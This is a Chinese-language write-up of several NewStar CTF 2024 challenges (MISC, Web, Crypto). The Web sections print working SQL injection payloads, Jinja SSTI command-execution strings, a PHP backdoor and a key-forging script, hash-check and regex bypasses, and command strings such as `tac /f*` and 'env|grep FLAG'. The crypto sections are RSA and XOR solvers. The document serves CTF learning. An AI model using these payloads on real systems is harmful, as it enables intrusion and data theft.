MISC

兑换码

image-20240930141234298

题目提示flag在图片下面,我们用010打开图片修改高度

在这里插入图片描述

image-20240930141330112

我们将04修改为05,就能在图片下面找到flag了

image-20240930141419765

Web

headach3

我们打开页面,发现页面连接已重置

我们用curl命令打开网站

1
curl -i http://eci-2zegoa69kgaljcwwcz37.cloudeci1.ichunqiu.com:80

得到flag

image-20240930145400657

会赢吗

image-20240930142114529

页面需要我们找到录取通知书,我们打开源码进行查看,发现第一个flag和下一个网页

image-20240930142152736

1
flag第一部分:ZmxhZ3tXQTB3

image-20240930142847939

第二个提示我们跟js有关,我们查看控制台

image-20240930142927178

提示课程名称叫4cqu1siti0n

我们查看js代码

image-20240930143011162

我们要往revealFlag中传入课程名,我们已知课程名,直接传

image-20240930143111099

得到第二部分flag和下一个地方

1
2
flag第一部分:ZmxhZ3tXQTB3
flag第二部分:IV95NF9yM2Fs

image-20240930143611451

这一关要我们进行解封,我们查看js代码

image-20240930143643921

它需要state id标签的值为解封,我们直接修改为解封,得到第三部分

image-20240930143748789

1
2
3
flag第一部分:ZmxhZ3tXQTB3
flag第二部分:IV95NF9yM2Fs
flag第三部分:MXlfR3I0c1B

image-20240930143911204

点击会赢的,弹出提示要他的领域失效,我们直接禁用js

image-20240930144032712

再次点击,得到最后的flag

image-20240930144103139

1
2
3
4
flag第一部分:ZmxhZ3tXQTB3
flag第二部分:IV95NF9yM2Fs
flag第三部分:MXlfR3I0c1B
4:fSkpKcyF9

我们连起来进行base64解码

得到flag

智械危机

题目提示有个后门,我们打开robots.txt,发现有个文件,我们访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

function execute_cmd($cmd) {
system($cmd);
}

function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key);
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i];
}
$hashed_reversed_cmd = md5($reversed_cmd);
if ($hashed_reversed_cmd !== $decoded_key) {
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd);
return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {
execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
highlight_file(__FILE__);
}
?>

进行代码审计

execute_cmd用来执行命令

我们重点来看decrypt_request

首先将key进行base64解码,然后将cmd逆向进入reversed_cmd

然后将reversed_cmd进行md5加密,再判断hashed_reversed_cmd是否和decoded_key的md5相等,最后再讲cmd进行base64解码,返回这个值

所以我们的思路是先构造好cmd命令,再将其进行base64加密,就是我们要传的cmd参数

key的话,要先将cmd的base64加密的值进行逆向再md5加密

写个加密小脚本

1
2
3
4
5
6
<?php
$cmd=base64_encode("ls");
echo "cmd=",$cmd,PHP_EOL;
$key=strrev($cmd);
echo "key=",base64_encode( md5($key));
?>

我们进行传参

1
2
cmd=bHM=  //ls
key=N2FiZThiMjRiZDAxMzc0NDZmZDMzNmMyMjk4ZmNjYTA=

image-20240930215101248

成功,然后就是找flag文件位置

1
ls ../../../

最后就是输出flag

1
cat ../../../flag

具体操作跟上面一样

谢谢皮蛋

sql注入的题,源码给了提示,访问/hint.php,有sql注入语句

image-20240930215841674

我们进行sql注入

1
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

image-20240930215859846

1
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g'#

image-20240930215927084

1
-1 union select 1,group_concat(id,des,value) from Fl4g#

image-20240930220043490

PangBai 过家家(1)

我们打开页面,提示头部存在一些东西

image-20241004180732002

我们进行抓包,发现有个新的文件,我们访问

image-20241004180806971

然后我们得到下一关的cookie

image-20241004182040952

我们替换cookie进行访问,进入第二关

image-20241004182816808

第二关提示需要我们ask=miao,我们进行传参

1
?ask=miao

image-20241004182907938

得到第三关的cookie

第三关提示要我们用post传参

image-20241004182943207

我们传完后,得到第四关的cookie

image-20241004183535262

第四关提示我们修改代理人为Papa

image-20241004183604662

我们将User-Agent的Safari修改为Papa

1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Papa/537.36

image-20241004193648172

然后提示我们说玛卡巴卡阿卡哇卡米卡玛卡呣

我们修改say为这个值,得到下一关的cookie

image-20241004193739242

下一关要求我们用修改(PATCH)的方法提交一个补丁包name=”file”; filename=”*.zip”

我们用postman做

我们将content-type改为from-data

然后上传文件,再添加say为玛卡巴卡阿卡哇卡米卡玛卡呣

image-20241006195529753

就进入了下一关,页面提示localhost,我们修改xff为127.0.0.1

image-20241006195614539

得到了jwt的密钥,我们修改关卡为第0关(因为没找到第七关)

image-20241006195653460

再在网页修改cookie

进入第0关

image-20241006195726115

我们点击从梦中醒来,过完剧情就得到了flag(歌挺好听的,真不容易啊)

image-20241006195918946

复读机

image-20241006214534903

我们发现这是一个ssti模版注入的题

但经过我们测试,过滤了class

一旦提交包含class的字符串

bot就会报错

image-20241006214640452

那我们就不使用包含class的ssti注入语句

1
{%print lipsum.__globals__['__builtins__']['__import__']('os')['popen']('whoami').read()%}

image-20241006220733033

成功读取到用户名

1
{%print lipsum.__globals__['__builtins__']['__import__']('os')['popen']('cat ..').read()%}

image-20241006220823675

你能在一秒内打出八句英文吗

image-20241007184354556

这个题让我们在一秒内打出八句英文,显然我们人力是不可能做到的,所以我们使用python 的requests来提交

由于英文在/start下,我们用BeautifulSoup获取id=text标签名

image-20241007184600065

然后我们进行抓包发现,表格提交到/sumbit下,那我们就能写脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
from bs4 import BeautifulSoup
url="http://eci-2zedc18yc0kuhpbs5row.cloudeci1.ichunqiu.com/start"
session=requests.session()
r=session.get(url)
soup=BeautifulSoup(r.text,"html.parser")
text_content = soup.find(id="text").get_text()
print(r.text)
data={

"user_input":text_content
}
print(text_content)
url="http://eci-2zedc18yc0kuhpbs5row.cloudeci1.ichunqiu.com/submit"
r=session.post(url,data=data)
print(r.text)

得到flag

image-20241007184657869

谢谢皮蛋 plus

image-20241008214410173

经过测试,过滤了空格和and,我们使用联合注入

具体的自己写

1
-1"/**/union/**/select/**/group_concat(id,des,value),1/**/from/**/Fl4g#

遗失的拉链

我们扫描目录,发现有个www.zip文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
//欸 为啥sha1和md5相等呢
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";

}
}

进行代码审计,主要要绕过这个语句

1
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star'])

我们使用数组绕过

1
2
3
?new[]=1

star[]=2

绕过后我们进行命令执行,由于eval前面有个echo

我们需要eval里的是文本,那我们就使用print_r加上`来执行命令

1
cmd=print_r(`tac /f*`)

得到flag

image-20241009221144583

PangBai 过家家(2)

image-20241018200037552

第一关让我们清点泄漏的文件,那不就是.git文件吗

我们利用GitHack工具把文件夹下载下来

image-20241018203939053

我们使用git命令查看当前项目信息,使用

git log –stat

查看提交历史

image-20241018204037996

使用 git reset HEAD~1 可以回到上一个 Commit,或者直接使用 VSCode 打开泄露出来的 Git 存储库,能够更可视化地查看提交历史。但没什么用

我们查看Stash

1
git stash list

我们可以看到 Stash 中含有后门(实际上在 GitHacker 泄漏时就有 stash 的输出信息)

image-20241018204246522

Stash 的作用

有时会遇到这样的情况,我们正在 dev 分支开发新功能,做到一半时有人过来反馈一个 bug,让马上解决,但是又不方便和现在已经更改的内容混杂在一起,这时就可以使用 git stash 命令先把当前进度保存起来。随后便可以即时处理当前要处理的内容。使用 git stash pop 则可以将之前存储的内容重新恢复到工作区。

又或者,我们已经在一个分支进行了修改,但发现自己修改错了分支,可以通过 Stash 进行存储,然后到其它分支中释放。

一些常见的 Stash 命令如:

  • git stash

    保存当前工作进度,会把暂存区和工作区的改动保存起来。执行完这个命令后,在运行 git status 命令,就会发现当前是一个干净的工作区,没有任何改动。使用 git stash save '一些信息' 可以添加一些注释。

  • git stash pop [-index] [stash_id]

    从 Stash 中释放内容,默认为恢复最新的内容到工作区。

使用 git stash pop 恢复后门文件到工作区。

image-20241018204341193

发现了后门文件BacKd0or.v2d23AOPpDfEW5Ca.php

我们进行访问,来到第二关

image-20241018204426356

由于git stash pop将后门释放出去了,我们可以直接查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

# Functions to handle HTML output

function print_msg($msg) {
$content = file_get_contents('index.html');
$content = preg_replace('/\s*<script.*<\/script>/s', '', $content);
$content = preg_replace('/ event/', '', $content);
$content = str_replace('点击此处载入存档', $msg, $content);
echo $content;
}

function show_backdoor() {
$content = file_get_contents('index.html');
$content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content);
echo $content;
}

# Backdoor

if ($_POST['papa'] !== 'TfflxoU0ry7c') {
show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
print_msg('PangBai loves you!');
call_user_func($_POST['func'], $_POST['args']);
} else {
print_msg('PangBai hates you!');
}

1
2
if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
print_msg('PangBai loves you!');

我们主要来看这个正则匹配,对于这个表达式,可以使用换行符绕过。preg_match 默认为单行模式(此时 . 会匹配换行符),但在 PHP 中的该模式下,$ 除了匹配整个字符串的结尾,还能够匹配字符串最后一个换行符。

拓展

如果加 D 修饰符,就不匹配换行符:

1
preg_match('/^Welcome$/D', "Welcome\n")

但当我们传入NewStar_CTF.2024=Welcome%0a又不能通过了呢,因为这是由 NewStar_CTF.2024 中的特殊字符 . 引起的,PHP 默认会将其解析为 NewStar_CTF_2024. 在 PHP 7 中,可以使用 [ 字符的非正确替换漏洞。当传入的参数名中出现 [ 且之后没有 ] 时,PHP 会将 [ 替换为 _,但此之后就不会继续替换后面的特殊字符了,因此,GET 传参 NewStar[CTF.2024=Welcome%0a 即可,随后传入 call_user_func 的参数即可

1
2
?NewStar[CTF.2024=Welcome%0a
papa=TfflxoU0ry7c&func=system&args=env|grep FLAG

image-20241018211051943

week3 Include Me

Crypto

Base

image-20240930150338588

我们把编码放CyberChef里解一下就出了

image-20240930150415482

xor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import xor
from Crypto.Util.number import long_to_bytes,bytes_to_long

key = b'New_Star_CTF'

# 使用之前的 c1 和 c2 值
c1 = 8091799978721254458294926060841
c2 = b';:\x1c1<\x03>*\x10\x11u;'

# 解密 m1
m1 = long_to_bytes(c1 ^ bytes_to_long(key))

# 解密 m2
m2 = xor(key, c2)

# 拼接得到完整的 flag
flag = m1 + m2
print(flag.decode('utf-8'))

得到flag

一眼秒了

简单的rsa

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import long_to_bytes
from gmpy2 import invert

e = 65537
n= 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
c= 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
p=7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421
q=7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093

d=invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))

这是几次方? 疑惑!

这个题我们直接用yafu分解n秒了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import long_to_bytes
from gmpy2 import invert

e = 65537
c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762
n=124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102569745482135768148755333759957370341658601268473878114399708702841974488367343570414404038862892863275173656133199924484523427712604601606674219929087411261
p=9894080171409167477731048775117450997716595135307245061889351408996079284609420327696692120762586015707305237750670080746600707139163744385937564246995541
q=12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531598921
d=invert(e,(p-1)*(q-1))
print(p*q)
m=pow(c,d,n)
print(long_to_bytes(m))

//flag{yihuo_yuan_lai_xian_ji_suan_liang_bian_de2333}

Since you konw something

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import xor
#The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long

key = ?? #extremely short
FLAG = 'flag{????????}'
c = bytes_to_long(xor(FLAG,key))

print("c={}".format(c))

'''
c=218950457292639210021937048771508243745941011391746420225459726647571
'''

这个题它提示key很短,那我们可以进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import xor
from Crypto.Util.number import long_to_bytes
import itertools

# 已知密文
c = 218950457292639210021937048771508243745941011391746420225459726647571

# 将密文转换为字节
cipher_bytes = long_to_bytes(c)

# 设定可能的密钥长度(假设1到4字节)
for key_length in range(1, 5):
# 生成所有可能的密钥组合(每个字节从0到255)
for key_tuple in itertools.product(range(256), repeat=key_length):
# 将元组转换为字节类型的密钥
key = bytes(key_tuple)

# 使用 pwntools 的 xor 函数解密
decrypted_message = xor(cipher_bytes, key)

# 检查解密后的消息是否包含 "flag"
if b"flag" in decrypted_message:
print(f"找到密钥: {key}")
print(f"解密后的FLAG: {decrypted_message.decode()}")
break

//flag{Y0u_kn0w_th3_X0r_b3tt3r}

Just one and more than two

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import *
from sympy import mod_inverse

# 给定的加密参数
p = 11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133
q = 11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393
r = 12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371
c1 = 8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451
c2 = 1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445

# RSA 参数
e = 65537

# 计算 φ(N)
phi_N = (p - 1) * (q - 1) * (r - 1)

# 计算 d
d = mod_inverse(e, phi_N)

# 解密 m1 和 m2
m1 = pow(c1, d, p)
m2 = pow(c2, d, p * q * r)

# 将解密结果转回字节
flag_bytes = long_to_bytes(m1) + long_to_bytes(m2)
flag = flag_bytes.decode('utf-8')

print("解密后的 flag:", flag)